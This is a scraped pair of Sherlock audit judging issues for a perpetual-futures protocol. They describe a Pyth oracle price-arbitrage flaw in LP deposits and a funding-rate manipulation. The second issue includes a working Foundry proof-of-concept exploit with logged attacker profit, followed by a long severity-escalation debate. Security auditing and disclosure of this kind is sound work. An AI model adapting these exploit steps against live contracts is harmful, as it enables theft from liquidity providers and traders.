Source: https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/123
The protocol has acknowledged this issue.
Bauer, IllIllI, PUSH0, jokr
Pyth oracles use a pull model, where the consumer of the price needs to provide a signed price from an offline provider. There are no guarantees that the price at the current time is the freshest price, which means an attacker can enter an LP position at one base price, and exit in another, all in the same transaction.
The OracleMaker and SpotHedgeBaseMaker both allow LPs to contribute funds in exchange for getting an LP position. Outside of the requirment that the current price is within the maxAge, there are no other freshness checks. An attacker can create a contract which, given two signed base prices, calls updatePrice()
and deposit()
s at the lower price, then calls updatePrice()
at the higher price, and calls withdraw()
at the higher price, for a risk-free profit.
For both the OracleMaker and the SpotHedgeBaseMaker, there are no fees for doing deposit()
/withdraw()
, and a flash loan can be used to magnify the effect of any price difference between two oracle readings. While both makers support a having a whitelist for who is able to deposit/withdraw, the code doesn't require one, the whitelist isn't mentioned in the contest readme, and the comments in both makers anticipate having to deal with malicious LPs. It appears that the whitelist will be used to ensure first-depositor inflation attacks are mitigated until the pools contain sufficient capital.
The fact that there is a maxAge
available does not prevent the issue, because Pyth updates are multiple times a second, whereas a block can only have one timestamp.
Value accrual that should have gone to the existing LPs is siphoned off by the attacker.
The number of shares given depends on whatever the most recently stored price is:
// File: src/maker/OracleMaker.sol : OracleMaker.deposit() #1
189 @> uint256 price = _getPrice();
...
201 @> uint256 vaultValueXShareDecimals = _getVaultValueSafe(vault, price).formatDecimals(
202 INTERNAL_DECIMALS,
203 shareDecimals
204 );
205 uint256 amountXShareDecimals = amountXCD.formatDecimals(collateralToken.decimals(), shareDecimals);
206:@> shares = (amountXShareDecimals * totalSupply()) / vaultValueXShareDecimals;
The amount of collateral given back is based on whatever the most recently stored price is:
// File: src/maker/OracleMaker.sol : OracleMaker.withdraw() #2
234 uint256 redeemedRatio = shares.divWad(totalSupply());
...
241 uint256 price = _getPrice();
242 @> uint256 vaultValue = _getVaultValueSafe(vault, price);
243 IERC20Metadata collateralToken = IERC20Metadata(_getAsset());
244 @> uint256 withdrawnAmountXCD = vaultValue.mulWad(redeemedRatio).formatDecimals(
245 INTERNAL_DECIMALS,
246 collateralToken.decimals()
247: );
The SpotHedgeBaseMaker has the same issue.
Manual Review
Require that LP deposits and withdrawals be done by the trusted relayers
sherlock-admin2
1 comment(s) were left on this issue during the judging contest.
takarez commented:
The readMe says : "Oracle (Pyth) is expected to accurately report the price of market"
IllIllI000
The PR is unrelated to the issue and the issue is not addressed by any other PRs. The PR instead increases the precision of the LP shares-related calculations. The sponsor acknowledges that the submitted issue is not addressed. The sponsor plans to address the issue prior to changing from allowlisted LPs to permissionless ones.
Source: https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/133
The protocol has acknowledged this issue.
IllIllI, ge6a, ihavebigmuscle, joicygiore, nirohgo
The fact that the Funding Fee rate is calculated only based on the Oracle Maker's position skew enables an exploiter to open a large long position on the Oracle Maker that generates an extreme funding fee paid by long takers, and then close the position (+open an opposite one) on the SpotHedge maker within the same block while maintaining the funding fee value and direction. This can be used to generate various attacks as detailed below.
Perpetual uses funding fee to balance between long and short positions, mainly to balance/reduce exposure of the Oracle Maker (from the docs: "In our system, having a funding fee will be beneficial for the Oracle Pool". Presumably for this reason the funding rate is calculated based only on the Oracle Maker's position skew as can be seen in this code snippet taken from the getCurrentFundingRate function (note that basePool is neccesarily the Oracle Maker since it is type-casted to OracleMaker in the code):
// we can only use margin without pendingMargin as totalDepositedAmount
// since pendingMargin includes pending borrowingFee and fundingFee,
// it will be infinite loop dependency
uint256 totalDepositedAmount = uint256(_getVault().getSettledMargin(marketId, fundingConfig.basePool));
uint256 maxCapacity = FixedPointMathLib.divWad(
totalDepositedAmount,
uint256(OracleMaker(fundingConfig.basePool).minMarginRatio())
);
However, the funding fee applies to any position in the market (as can be seen in the Vault::settlePosition function) which enables an exploiter to create a very high funding rate for a low cost by opening a large long position on the oracle maker and close the position immediately after on the HSBM maker (possibly also opening a short depending on the type of attack). Since the opposite position does not affect the funding rate (as it is settled with the SpotHedge maker), the funding rate will maintain its extreme value and its direction.
This maneuver can generate multiple types of attacks that can be conducted individually or combined:
A. Griefing/Liquidation attack - The attacker creates an extreme funding rate that causes immediate loss to position holders of the attacked direction, possibly making many positions liquidatable on the next block. This attack is conducted as follows:
A.1. Attacker opens a maximal long position on the oracle maker creating an extremely high funding rate paid by longs.
A.2. Attacker closes their long position using the HSBM maker. This means the extreme high funding rate is unaffected since its calculated based on the oracle maker only. (A1 and A2 can be done in an atomic transaction from an attacker contract).
A.3. Starting from the next block any long position in the system incures a very high cost per block, likely making many positions liquidatable immediately.
A.4. The cost for the attacker is only the negative PnL caused by the spread between the oracle and HSBM makers. The attacker can offset the cost and make a profit by running a transaction at the start of the next block that liquidates all positions that were liquidated by the move (the attacker has information advantage over other liquidators and are likely to win the liquidations).
B. Profiting from large funding fee within one block by also opening a short (exfiltrating funds from the PnL pool).
B.1. the attack starts similarly to A: the attacker opens a maximal long position on the OM and then a counter short position on the HSBM maker, only this time the attacker also opens a short on the SpotHedge maker that gains the attacker funding fees starting from the next block.
B.2. The attacker can close the short position at the start of the next block to reduce risk, taking profit from the fee paid for the one block, in addition to liquidating any affected positions as in scenario A.
B.3. The cost of attack: negative PnL caused by spread between the two makers, plus borrowing fee. However because borrowing fee does not grow exponentially with utilization rate like the funding fee, it is covered by the funding fee with a profit.
C. Profiting from a large deposit to the oracle maker/withdraw within one block.
C.1. The attack runs the same as scenario A, only the attacker also makes a large deposit to the oracle maker, and withdraws on the next block.
C.2. Since share values take into account pending fees, the share value will increase significantly from one block to the next because the oracle maker will also get a high funding fee within that one block (this is because oracle maker also holds a large short position as a result of the attackers initial postion, that gets paid funding fee). Note that in this scenarion the attacker needs to verify that there is no expected loss to share value between these two blocks
The POC below shows how with reasonable market considitions the attacker can make a significant profit, specifically using only attack type B.
The following POC shows the scenario where the attacker generates a high funding rate paid by longs, while opening a large short position for themselves, then on the next block the attacker closes the short with a significant gain from funding fee (while the HSBM maker pays the funding fee)
To run:
A. create a test.sol file under the perp-contract-v3/test/spotHedgeMaker/ folder and add the code below to it.
B. Run forge test --match-test testFundingFeePOC -vv
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0;
import "forge-std/Test.sol";
import "../spotHedgeMaker/SpotHedgeBaseMakerForkSetup.sol";
import { OracleMaker } from "../../src/maker/OracleMaker.sol";
import "../../src/common/LibFormatter.sol";
import { SignedMath } from "@openzeppelin/contracts/utils/math/SignedMath.sol";
contract FundingFeeExploit is SpotHedgeBaseMakerForkSetup {
using LibFormatter for int256;
using LibFormatter for uint256;
using SignedMath for int256;
address public taker = makeAddr("Taker");
address public exploiter = makeAddr("Exploiter");
OracleMaker public oracle_maker;
function setUp() public override {
super.setUp();
//create oracle maker
oracle_maker = new OracleMaker();
_enableInitialize(address(oracle_maker));
oracle_maker.initialize(marketId, "OM", "OM", address(addressManager), priceFeedId, 1e18);
config.registerMaker(marketId, address(oracle_maker));
//PARAMETERS SETUP
//fee setup
//funding fee configs (taken from team tests)
config.setFundingConfig(marketId, 0.005e18, 1.3e18, address(oracle_maker));
//borrowing fee 0.00000001 per second as in team tests
config.setMaxBorrowingFeeRate(marketId, 10000000000, 10000000000);
oracle_maker.setMaxSpreadRatio(0.1 ether); // 10% as in team tests
//whitelist users
oracle_maker.setValidSender(exploiter,true);
oracle_maker.setValidSender(taker,true);
//add more liquidity ($20M) to uniswap pool to simulate realistic slippage
deal(address(baseToken), spotLp, 10000e9, true);
deal(address(collateralToken), spotLp, 20000000e6, true);
vm.startPrank(spotLp);
uniswapV3NonfungiblePositionManager.mint(
INonfungiblePositionManager.MintParams({
token0: address(collateralToken),
token1: address(baseToken),
fee: 3000,
tickLower: -887220,
tickUpper: 887220,
amount0Desired: collateralToken.balanceOf(spotLp),
amount1Desired: baseToken.balanceOf(spotLp),
amount0Min: 0,
amount1Min: 0,
recipient: spotLp,
deadline: block.timestamp
})
);
//mock the pyth price to be same as uniswap (set to ~$2000 in base class)
pyth = IPyth(0xff1a0f4744e8582DF1aE09D5611b887B6a12925C);
_mockPythPrice(2000,0);
}
function testFundingFeePOC() public {
//deposit 5M collateral as margin for exploiter (also mints the amount)
uint256 startQuote = 5000000*1e6;
_deposit(marketId, exploiter, startQuote);
console.log("Exploiter Quote balance at Start: %s\n", startQuote);
//deposit to makers
//initial HSBM maker deposit: 2000 base tokens ($4M)
vm.startPrank(makerLp);
deal(address(baseToken), makerLp, 2000*1e9, true);
baseToken.approve(address(maker), type(uint256).max);
maker.deposit(2000*1e9);
//initial oracle maker deposit: $2M (1000 base tokens)
deal(address(collateralToken), makerLp, 2000000*1e6, true);
collateralToken.approve(address(oracle_maker), type(uint256).max);
oracle_maker.deposit(2000000*1e6);
vm.stopPrank();
//Also deposit collateral directly to SHBM to simulate some existing margin on the SHBM from previous activity
_deposit(marketId, address(maker), 2000000*1e6);
//Exploiter opens the maximum possible (-1000 base tokens) long on oracle maker
vm.startPrank(exploiter);
(int256 posBase, int256 openNotional) = clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(oracle_maker),
isBaseToQuote: false,
isExactInput: false,
amount: 1000*1e18,
oppositeAmountBound:type(uint256).max,
deadline: block.timestamp,
makerData: ""
})
);
//Exploiter opens maximum possible short on the HSBM maker changing their position to short 1000 (2000-1000)
(posBase,openNotional) = clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(maker),
isBaseToQuote: true,
isExactInput: true,
amount: 2000 * 1e18,
oppositeAmountBound:0,
deadline: block.timestamp,
makerData: ""
})
);
console.log("Funding Fee Rate after short:");
int256 ffeeRate = fundingFee.getCurrentFundingRate(marketId);
console.logInt(ffeeRate);
//OUTPUT:
// Funding Fee Rate after short:
//-388399804857866884
//move to next block
vm.warp(block.timestamp + 2 seconds);
//Exploiter closes the short to realize gains
int256 exploiterPosSize = vault.getPositionSize(marketId,address(exploiter));
clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(maker),
isBaseToQuote: false,
isExactInput: false,
amount: exploiterPosSize.abs(),
oppositeAmountBound:type(uint256).max,
deadline: block.timestamp,
makerData: ""
})
);
//exploiter withdraws entirely
int256 upDec = vault.getUnsettledPnl(marketId,address(exploiter));
int256 stDec = vault.getSettledMargin(marketId,address(exploiter));
int256 marg = stDec-upDec;
uint256 margAbs = marg.abs();
uint256 toWithdraw = margAbs.formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals());
vault.transferMarginToFund(marketId,toWithdraw);
vault.withdraw(vault.getFund(exploiter));
vm.stopPrank();
uint256 finalQuoteBalance = collateralToken.balanceOf(address(exploiter));
console.log("Exploiter Quote balance at End: %s", finalQuoteBalance);
//OUTPUT: Exploiter Quote balance at End: 6098860645835
//exploiter profit = $6,098,860 - $5,000,000 = $1,098,860
}
}
The various possible attacks detailed above generate immediate profits to the exploiter that can be withdrawn immediately if enough PnL exists in the pool, diluting the PnL pool on the expense of users and causing them financial loss from not being able to withdraw their profits. In addition, as detailed above many positions can be made liquidatable following the attack causing further damage.
Manual Review Foundry
To mitigate this issue it is essential to resolve the root cause: the fact that funding fee is set using only a part of the market (Oracle Maker). Instead, the entire market long/short positions should be used to determine the rate. This will prevent an exploiter from opening the counter position (that gains fee) without that position also affecting the funding rate.
sherlock-admin4
2 comment(s) were left on this issue during the judging contest.
santipu_ commented:
Medium
takarez commented:
seem to be a dupp of 125 due to large deposit and the recommendation also; high(4)
vinta
Confirmed, valid! Thank you for reporting this issue!
paco0x
If an attacker intentionally open position to make the Oracle Maker imbalanced and close position on SpotHedge maker. The cost of this action is the maker swap fees (we'll have swap fees in later update).
We expect there'll be two kinds arbitrageurs come in to help balance Oracle Maker's position.
The slippage of Oracle Maker becomes a positive premium when helping balance Oracle Maker, so arbitrageurs can open reverse position on SpotHedge maker and close on Oracle Maker and earn the premium right away.
Arbitrageurs who're willing to earn funding fees can take over Oracle Maker's position and hedge the position else where, while receiving the funding fee.
In my opinion, this one is a medium and we might not fix it in the near future.
nirohgo
Escalate This should be a high according to Sherlock's definitions: Definite loss of funds without (extensive) limitations of external conditions. Inflicts serious non-material losses (doesn't include contract simply not working).
Since no explanation was given to why this got demoted to medium I'll assume this was following the sponsor's comments, which I'll address here:
The POC clearly demonstrates:
A. a substantial financial loss (see POC output).
B. Without excessive reliance on external conditions.
sherlock-admin2
Escalate This should be a high according to Sherlock's definitions: Definite loss of funds without (extensive) limitations of external conditions. Inflicts serious non-material losses (doesn't include contract simply not working).
Since no explanation was given to why this got demoted to medium I'll assume this was following the sponsor's comments, which I'll address here:
- The sponsor mentioned maker swap fees that will be added in a later update and contribute to the cost of the attack, however these were not mentioned in the contest readme nor in the code and therefore should not affect severity but rather be considered a possible remediation method.
- The sponsor also mentions two types of arbitrageurs that are expected to balance the Oracle Maker's position, however arbitrageurs are irrelevant to this exploit because the attack is conducted within two consecutive blocks (first part block X, second part - block X+1). Since Optimism's mempool is private the attacker is the only one with pre-knowledge of phase 1, and can easily avoid being frontrun on block X+1.
- Regarding "The slippage of Oracle Maker becomes a positive premium when helping balance Oracle Maker" I believe this is inaccurate: When helping balance the Oracle Maker it gives exactly the Oracle price. Opening a reverse position on SpotHedge maker and closing on Oracle Maker involves some loss because of the SpotHedge maker price slippage (slightly worse than the oracle price due to Uniswap slippage/fees).
The POC clearly demonstrates:
A. a substantial financial loss (see POC output).
B. Without excessive reliance on external conditions.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
IllIllI000
If this one is High, then so is https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/126 , because they both are the pattern X Fee Rate is calculated based only on the Y Maker's skew but applied across the entire market, which enables an attacker to generate an extreme X rate for a low cost and leverage that to their benefit
, where X is either Funding or Borrowing and Y is either Oracle or SpotHedge
nevillehuang
I think I agree with @nirohgo and high severity here, subsequent update to fees shouldn't be considered if not make known initially.
gstoyanovbg
@nevillehuang You may want to consider the risks from this comment.
IllIllI000
@nevillehuang the ability to attack the protocol depends on the values that the admin sets in the configuration. As I point out here, the attack can no longer be performed when the funding fee rate is reduced. I believe this prevents the severity from being High, since admins are trusted to use the right values for their protocol, or else they could just choose ones that 'happen' to cause an exploit, where Sherlock would be on the hook for it. It may even be Low if nirohgo can't show that it can be exploited regardless of the value that the admin sets.
WangSecurity
I believe this issue should indeed be high. I see that with not all values the attack is possible, but since the values were taken from other tests by the team, therefore, I think it's safe to assume that these values are intended and default. Hence, as of now, planning to accept the escalation and update the severity to high.
IllIllI000
@paco0x there is only a single setting of the values for the parameters. Can you let us know what sort of ranges you expect for the funding parameters, so we can see how much this issue is affected by the expected values? The desmos calculator the docs links to has some ranges - are they representative?
paco0x
@paco0x there is only a single setting of the values for the parameters. Can you let us know what sort of ranges you expect for the funding parameters, so we can see how much this issue is affected by the expected values? The desmos calculator the docs links to has some ranges - are they representative?
Considering the potential issues, we'll not enable funding fee in our first version in production.
The approximate range of funding rate to begin with can be between 100% and 500% per year under max imbalance ratio. An example config can be:
FundingConfig {
fundingFactor: 200% / 86400 (200% per year under max imbalance ratio)
fundingExponentFactor: 1
}
IllIllI000
@WangSecurity according to the above, the expected exponent is 1.0, but the test is using 1.3, which is an extreme value. When the test is changed to use 1.0, the attacker no longer shows a profit and instead shows a loss (even with changing the uniswap fee down to 0.05%). Since it's conditional on the admin choosing an extreme value, I don't think this finding can be a High. I believe the rules about admin-controlled values being an admin error and thus invalid, are in place so that people doing the judging contest can correctly decide severity without having to ask the sponsor for the expected values.
nirohgo
@WangSecurity I discussed possible values of these configs with @42bchen during the contest, his answer was that they don't yet know what production values are going to be (which makes sense as they need to be effective to incentivize the right behavior). Given that, their final values can only be known in production, and limiting them in order to avoid an exploit (even if done as a workaround) should not take away from the finding severity.
On another matter (@Evert0x ), is it within Sherlock rules for a watson to "escalate" a finding, post the escalation period? (and without risking their escalation ratio)? seems somewhat unfair.
IllIllI000
The finding was escalated by the submitter in order to raise the severity, and I'm trying to show why it should not be. I don't see how pointing out the usual rules is an unfair argument as to why it should not be a High
WangSecurity
@nirohgo can you provide a screenshot or a link to these messages, just so I can be sure, still deciding on the severity and validity here and will provide my decision tomorrow. Thanks to both of watsons for being active on providing additional info
gstoyanovbg
I disagree that the administrator can prevent the exploitation of this vulnerability. That's why when I submitted my report, I chose High severity. The assertion that changing the exponent from 1.3 to 1.0 will make the exploit impossible is true only for the proof of concept shown in this report, but not as a whole. LP can influence the total amount of deposits, and by exploiting this, an attacker can make a profit. It is not mandatory for the position to be closed in the next block; it could be in the one after that, for example. A combined attack is possible by opening a position and changing the total deposited amount. There are many attack scenarios, but there are no limiting factors that make it impossible. Exploiting this vulnerability boils down to risk management in order to choose the right approach for the respective state of the protocol. I tried to explain this in my report, but my choice to show a different attack path from the obvious one led to the escalation of my report. I've said it before, but in my opinion, it cannot be expected that all possible ways to exploit a vulnerability will be presented in one report; it is not practical.
WangSecurity
I think medium severity is appropriate here. The attack is indeed profitable with 1.3e18, but unprofitable with 1.0e18. It's also profitable with 1.2e18, but unprofitable with 1.1e18. I see that the sponsor says the approximate funding exponent will be indeed 1. But, as we see from nirohgo point, he asked about it during the contest and the sponsor answered they don't know yet. Moreover, I don't the rule that the admin should always set the correct value can be applied here, cause (as I understand) setting the exponent to 1.2e18+ doesn't disrupt the work of the protocol, but opens a window for the attack. Hence, I see at as a valid attack with certain constraints and state to be executed profitably.
Hence, I'm planning to reject the escalation and leave the issue as it is.
nirohgo
@WangSecurity according to sherlock rules and definitions this should be a high. Your reasoning for medium rely on 1. a "counter escalation" that was made against sherlock rules (after escalation period was over) 2. against the information that was provided during the contest (the test config values plus communication that more precise values are not yet known) and therefore lower on Sherlock's hierarchy of truth.
WangSecurity
I'm judging it accroding to rules for Medium Severity:
Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained.
My decision remains the same: reject the escalation and leave the issue as it is.
nirohgo
@WangSecurity every finding requires some conditions or specific states. (for example #123, which was accepted as High, requires that there be two offline Pyth price updates that were not reported onchain yet at that the price diff between them enables the attack). My point in the case of this finding is that (given the information available during the audit - that production configs are not known and only provided estimate is the one in the tests) is there is no reason to believe 1.1e18 or 1.0e18 are more likely than 1.3e18 or 1.2e18. Therefore I do not believe that specific handpicked exponent values where the attack does not work should count as a strong enough dependency on certain external conditions or specific states to make this a medium. Also, the severity of loss (as displayed in the POC) should also be taken into account here when determining the severity. (from my experience many accepted high's on sherlock may not work given specific config settings, and yet still count as high because they will occur with reasonably set configs and cause significant loss).
WangSecurity
@nirohgo I see your points and I'm open to discussing them, but before that I would like to get a small clarification from your side. In issue #116 you say that setting "the OM max spread to a larger value than the price band setting", i.e. admin setting the values that open a window for the vulnerability is an admin error. But in that case admin setting the values that open a window for the vulnerability is not an admin error. I understand it's two completely different issues, but I believe in both cases the trusted admin rule should be applied correctly. What do you think about it?
gstoyanovbg
@WangSecurity Perhaps my question is naive, but what is the intuition behind the statement that the attack is not profitable with 1.0e18? I examined nirohgo's proof of concept in more detail, and in my opinion, the problem with it is that there is not enough liquidity in the corresponding range, leading to significant slippage. I added liquidity to the respective range, and the attack became profitable. I reduced the fee from 0.3 to 0.05 to show a greater profit, but with 0.3, smaller profits are also possible.
Logs:
Exploiter Quote balance at Start: 5000000000000
Funding Fee Rate after short:
-4999999999999999
Exploiter Quote balance at End: 5016509239587
IllIllI000
You deposited $5M and reduced the tick range from 1774440 ticks to only 20 ticks. I don't think that's likely to happen either
nirohgo
@nirohgo I see your points and I'm open to discussing them, but before that I would like to get a small clarification from your side. In issue #116 you say that setting "the OM max spread to a larger value than the price band setting", i.e. admin setting the values that open a window for the vulnerability is an admin error. But in that case admin setting the values that open a window for the vulnerability is not an admin error. I understand it's two completely different issues, but I believe in both cases the trusted admin rule should be applied correctly. What do you think about it?
@WangSecurity #116 depends on admins setting a specific boundary (max OM spread) to a value higher then the overriding general boundary (price band). This is a clear admin error even without the finding or liquidations (whenever the OM price exceeds the price band transactions will fail). In this case there is no logical error is setting the exponent config to a specific value, the exponent needs to create a curve that's efficient enough to incentivize the market to reduce risk. As the team specified during the contest the exact value is unknown (the best initial guess was the test value).
WangSecurity
First, the attack depends on the actions of a TRUSTED admin (setting funding exponent). Other external factors, like the liquidity and ticks, are also required for a successful attack. That's why I believe Medium is appropriate for this report.
Planning to reject the escalation and leave the issue as it is.
gstoyanovbg
These are not external factors because the attacker can control them. Do you agree that 1) and 2) are possible ? If so this would mean that the attack doesn't depend on trusted admin action because the attack would be profitable for all 1.0e18, 1.1e18, 1.2e18 and 1.3e18.
IllIllI000
depositing liquidity and having yourself trade against it, without you also pushing the price back in your favor before withdrawing it, will result in impermanent loss, which is a cost that you yourself will have to pay back
gstoyanovbg
The exploiter would deposit within the current price range, which already has significant liquidity. Therefore, the deposit wouldn't be as large. The exploiter wouldn't withdraw immediately after the attack but would wait a sufficient amount of time before doing so in order to recover the losses. Even if the profit and losses from the attack are equal for the attacker, it still results in a loss for the maker and is thus a valid attack with no additional constraints. Please correct me if I am wrong.
Also what do you think about 2) ?
IllIllI000
Assumes the price will move back in your favor, and that someone 'pays you back' for the amount you pushed it. For 2, you'd have to show a valid poc, and I suspect that nirohgo didn't go along with your initial suggestion, because there's some confounding factor.
IllIllI000
If you're planning on providing a poc, please make sure it works will all values that the admin can set, so we can avoid extra endless discussions about whether the value is valid or not
gstoyanovbg
@IllIllI000 I can prepare a new POC if it is needed but should know what more is expected from the new POC. In my previous POC, I showed that the attack is profitable even if the exponent is 1.0e18. The same POC works for 1.1e18, 1.2e18 as well. Your consideration was that the range is too small for such large liquidity but this was just for simplicity. If you look into the test pool, you will see that the initial liquidity is only 100 base tokens and 2,000,000 collateral tokens for the range [-887,220, 887,220]. For comparison, in the USDC/ETH pool on Uniswap, there is >200 million TVL and at each of the ticks around the active one, there are around 300,000 liquidity. Should I simulate something like this?
Assumes the price will move back in your favor, and that someone 'pays you back' for the amount you pushed it. For 2, you'd have to show a valid poc, and I suspect that nirohgo didn't go along with your https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/133#issuecomment-2074641984 suggestion, because there's some confounding factor.
I think that the market will restore the real price in the pool. Moreover the fees will also help to recover the losses. I already mentioned that the important thing here is to have losses for the maker in order to have an attack. Equal losses/profits for the attacker or even a small loss is not a problem. However i believe that the attack is profitable for the exploiter too.
If nirohgo thinks that the adjustment that i made to the POC is not correct is free to comment.
@WangSecurity What do you think ?
IllIllI000
Hi @gstoyanovbg if you look through the escalations that I have commented on, you'll see that I've spent many hours countering claims, over multiple days, for uncertain benefit. I hope you'll understand if I don't continue this here by thinking of all the possible scenarios, and laying out a poc framework for you, solely for my detriment. What I'll say about your specific point is that nirohgo's POC used a wide tick range in order to simulate a normal market, where the attacker didn't have to introduce special externalities in order to use the uniswap pool. By adding extra liquidity and a specific tick range, you are adding an externality that has to be accounted for. You need to not do that. I believe you'd need to show that the admin parameters have zero effect on whether or not a profit can be made, over normal uniswap/market scenarios that happen very frequently in order for this to become a high.
gstoyanovbg
I don't think that the range from the nirohgo's POC is a good example for a normal Uniswap V3 pool. The main idea of Uniswap V3 is to concentrate liquidity in a specific range. Logically, the primary available liquidity is concentrated around the current price. To avoid making unfounded claims, I will use the USDC/ETH (0.05) pool on Uniswap V3 as an example which has 200m TVL.
From the graph, you can see how liquidity is distributed, with it being insignificant at the left end - around 30k per tick. The range of prices is [2565, 3827]. The price at the moment is 3133. The percentage difference between the current price and that at the left end of the range is about 22%. Similarly for the right boundary, the percentage is the same. I attempted to simulate something like this in the new POC. The numbers are as follows:
In my opinion, this scenario is realistic enough, even more unfavorable than reality due to the even distribution of liquidity. The results are as follows:
1.0e18:
Exploiter Quote balance at Start: 5000000000000
Funding Fee Rate after short: -4999999999999999
Exploiter Quote balance at End: 5013664397043
1.1e18
Exploiter Quote balance at Start: 5000000000000
Funding Fee Rate after short: -21334035032232417
Exploiter Quote balance at End: 5078754700088
1.2e18
Exploiter Quote balance at Start: 5000000000000
Funding Fee Rate after short: -91028210151304013
Exploiter Quote balance at End: 5356482461172
IllIllI000
I'm not a uniswap expert. Please do the actual add/remove liquidity in the POC, including it in the start/end balance (both tokens). Also, I didn't check, but I don't think 1e18 is the lower bound of the possible admin-set values
joicygiore
But we also don’t know what the project side’s psychological upper limit is for this value.
gstoyanovbg
@IllIllI000 I don't understand what changes you want to make to this POC and how they will contribute to the discussion, so I'll wait to hear the judge's opinion (@WangSecurity ) before making another POC. I hope you understand that if every participant in this discussion requests a custom POC for their own reasons, I'll have to build POCs for this discussion full-time. That's why I prefer to wait a bit and see if anyone else has any other comments.
Regarding the lower bound of the exponent, the administrator can set it to be 0 or a value close to zero. If we assume that this is an argument, then this discussion could have ended on the third comment and not waste our time. But I believe that here we evaluate realistic values for the exponent, and the sponsor clearly stated in their comment that the value will be 1.0. The whole argumentation so far has been built on the fact that nirohgo's POC does not show profit for this value. I think I explained in detail where the problem with this POC comes from and that if a more realistic simulation is done, there is profit.
WangSecurity
Firstly, thanks to all the Watsons providing endless value on this escalation.
Secondly, @gstoyanovbg as I understand, in your scenario, laid out in the last comments, the attack deviates from the original @nirohgo PoC.
If that's correct, then I see two different scenarios. Let's start with the original scenario. There are several values that effect the attack: funding exponent (set by admins), liquidity and price range.
Again thanks to @IllIllI000 @gstoyanovbg and @nirohgo for providing a lot of value here.
gstoyanovbg
@WangSecurity The profitability of the attack from the POC of nirohgo depends on the funding exponent and the available liquidity in the respective price range. If a too large position is opened, but there is not enough liquidity in the corresponding price range, part of the value is lost due to excessive slippage. My initial idea was that the attacker could add liquidity where it is lacking in order to extract value from the maker. Or simply calculate the position size to be proportional to the available liquidity so that there is not a large slippage. However, when I started to build the POC, I noticed that in the USDC/ETH pool on Uniswap V3 there is enough liquidity so that nirohgo's original POC is profitable for funding exponent values >= 1.0e18. Therefore, in my latest POC, I decided to simply mimic a pool with liquidity similar to that in USDC/ETH to prove my claim. I still believe that the attacker can add liquidity if necessary and that it can be profitable, it just turned out that it was not necessary in this case.
To summarize, in my opinion, the exploiter can extract value from the maker for any realistic value of the funding exponent, i.e., >=1.0e18. In most cases, I expect the available liquidity in Uniswap to be sufficient; if not, the attack can be modified to add additional liquidity from the attacker. Earlier in the discussion, we discussed how to proceed in this scenario. I have not analyzed values of the funding exponent < 1.0e18, but I expect that for small values of the funding exponent, the attack will not be profitable. However, I do not think such values represent a realistic scenario. The sponsor has already clearly stated that they intend to use a value of 1.0e18 for the funding exponent. In the tests, the value was 1.3e18. It is also debatable whether there is a theoretical sense in low values of the funding exponent because the incentive for users would be too small
WangSecurity
Since the attack can be executed on any funding exponent value discussed above (1.0e18 - 1.3e18), then the liquidity at specific price range is a bigger constraint on the attack profit. But it can be controlled by the attacker as they themselves can add liquidity at a specific price, correct? @gstoyanovbg
gstoyanovbg
@WangSecurity Correct.
WangSecurity
First, the attack can be executed independently on the funding exponent set by the admin (assuming they values are realistic). Even though the possibility and profitable depend on certain liquidity conditions. I believe these conditions are very realistic to occur. Hence, high severity is appropriate here:
Definite loss of funds without (extensive) limitations of external conditions
Planning to accept the escalation and upgrade severity to High
IllIllI000
For full transparency: https://discord.com/channels/812037309376495636/1013592891773419520/1234858790516690966
IllIllI000
@gstoyanovbg your PoC relies on a lot more liquidity than there currently is, and therefore your PoC needs to model the costs of adding and removing the liquidity:
https://info.uniswap.org/#/optimism/pools/0x1fb3cf6e48f1e7b10213e7b6d87d4c073c7fdb7b
[...] isn't USDC/ETH pool TVL on Optimism just 4M?
https://discord.com/channels/812037309376495636/1013592891773419520/1234878162697977986
Further, if you're adding liquidity for two blocks, you can't use a flash loan and you're at risk of the price moving, or someone taking your liquidity, so I don't think this can be High at the moment. For your argument that you can still attack but smaller amounts with the given liquidity, can you quantify how much an attack can gain given the 4M liquidity is spread over the whole pool, not just the current price, and show that the attacker can gain more than dust amounts with the 1e18 value?
gstoyanovbg
@IllIllI000 First, thanks to you and your lawyers for noticing that the TVL of the mentioned pool is 4M on Optimism. The graph I attached is from the same pool but on Ethereum. It has been a while since the end of the contest, and at that moment, I did not realize that Ethereum is not on the list of supported chains. I apologize for the mistake.
However, I don't think there is a significant difference, and I will soon upload a new POC to clear up any doubts.
neko-nyaa
As the mentioned "lawyer", having read the discussion and I really don't understand where we are even trying to head towards.
Let's first be clear here that I don't care about any bounties, and any "lawyers" who are aiming for the bounty can try and push this issue to their favored direction. The only direction I am respecting is where the truth is headed, hence this analysis.
What is clear from just the issue, and has been reiterated/implied multiple times throughout the discussion, is that the "attack" is possible regardless. From the formula, it is clear that the funding rate is proportional to the OM's open notional, which is exactly what this attack is trying to achieve.
Then the profitability depends on multiple factors:
Then the questions to be analyzed here are:
Now, is this big picture big enough to look at? Have we narrowed it down enough for a numerical analysis?
Edit: Re-analyzed the formula and it looks like non-basepool traders do not have a dampening effect. So that's one thing out of the way.
I'll make just this comment and not engage in this discussion.
WangSecurity
@gstoyanovbg wanted to ask how's the PoC going and how much time approximately you need?
gstoyanovbg
@WangSecurity Tomorrow will post it. Sorry for the delay i was very busy last couple of days.
gstoyanovbg
